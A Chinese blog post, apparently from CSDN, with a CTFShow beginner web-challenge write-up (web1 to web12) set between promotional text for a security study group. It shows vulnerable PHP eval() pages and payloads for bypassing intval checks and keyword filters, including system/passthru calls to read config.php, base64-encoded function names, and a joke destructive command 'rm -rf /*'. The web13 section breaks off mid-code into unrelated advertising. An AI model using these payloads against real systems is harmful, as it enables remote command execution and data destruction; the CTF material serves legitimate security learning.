一、网安学习成长路线图
网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网安视频合集
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
三、精品网安学习书籍
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、网络安全源码合集+工具包
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
* [web5](#web5_27)
* [web6](#web6_31)
* [web7](#web7_34)
* [web8](#web8_38)
* [web9](#web9_69)
* [web10](#web10_90)
* [web11](#web11_122)
* [web12](#web12_144)
* [web13](#web13_166)
* [web14](#web14_190)
* [web15](#web15_213)
* [web16](#web16_235)
* [web17](#web17_258)
* [web18-24](#web1824_283)
CTFShow 平台:https://ctf.show/
前言
刷题记录这是“萌心区(下)篇”
web1
简单分析一下 需要要用get方式上传id ,id大于999的时候会报错,有注意到下面的:flag in id = 1000
,传入id = 1000 才能获得flag
看到函数intval
所以我们需要进行绕过 ?id=2 or id=1000
intval函数是获取变量的整型值,当它获取的变量不能被转换时返回0; 如果字符串其中有数字,则返回数字; 如果开头无法被转换,则返回0
web2
发现和web1 一样???? 使用一样的方法 /?id=100*10
可能是加了一些过滤规则吧。
web3
这回过滤了16进制 还是使用之前的方法发现还是可以执行。
web4
这次又增多了过滤 可以尝试 二次取反绕过 ?id=~~1000
web5
这回有增加了 新的过滤规则 增加了单双引号过滤 继续使用 二次取反绕过 ?id=~~1000
**
web6
继续使用老方法 ?id=~~1000
web7
这里新增了一个过滤 仔细看这里~
也不行了 尝试一下二进制 ?id=0b1111101000
web8
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($\_GET['flag'])){
if(isset($\_GET['flag'])){
$f = $\_GET['flag'];
if($key===$f){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
</body>
</html>
根据提示 阿呆区了埃塞尔比亚(这么哪里???) 感觉是要删库跑路了; 所以payload 为:?flag=rm -rf /*
web9
<?php
# flag in config.php
include("config.php");
if(isset($\_GET['c'])){
$c = $\_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
FLAG
在 config.php
中 如果执行了if
里面得参数 就会显示FLAG
直接构造Payload:?c=system('cat config.php');
然后F12 查看
web10
<?php
# flag in config.php
include("config.php");
if(isset($\_GET['c'])){
$c = $\_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
这里做了过滤前面有个感叹号所以用上面得方法访问得话就 没有FLAG 需要从新构造Payload :?c=passthru('cat config.php');
F12查看
常见的命令执行函数:
system()
passthru()
exec()
shell\_exec()
popen()
proc\_open()
pcntl\_exec()
web11
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg\_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight\_file(__FILE__);
}
?>
注意这里 对cat
命令进行了过滤 所以刚刚那两种方法都不行了,但是linux当中还有很多显示文本的命令。
这里可以参考:https://blog.csdn.net/qq_41274349/article/details/123707765
web12
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg\_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight\_file(__FILE__);
}
?>
这里新增得过滤规则是 php
和config
可以base64
编码绕过
构造payload:?c=$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);,
得到flag 然后F12 查看。
web13
<?php
## 学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**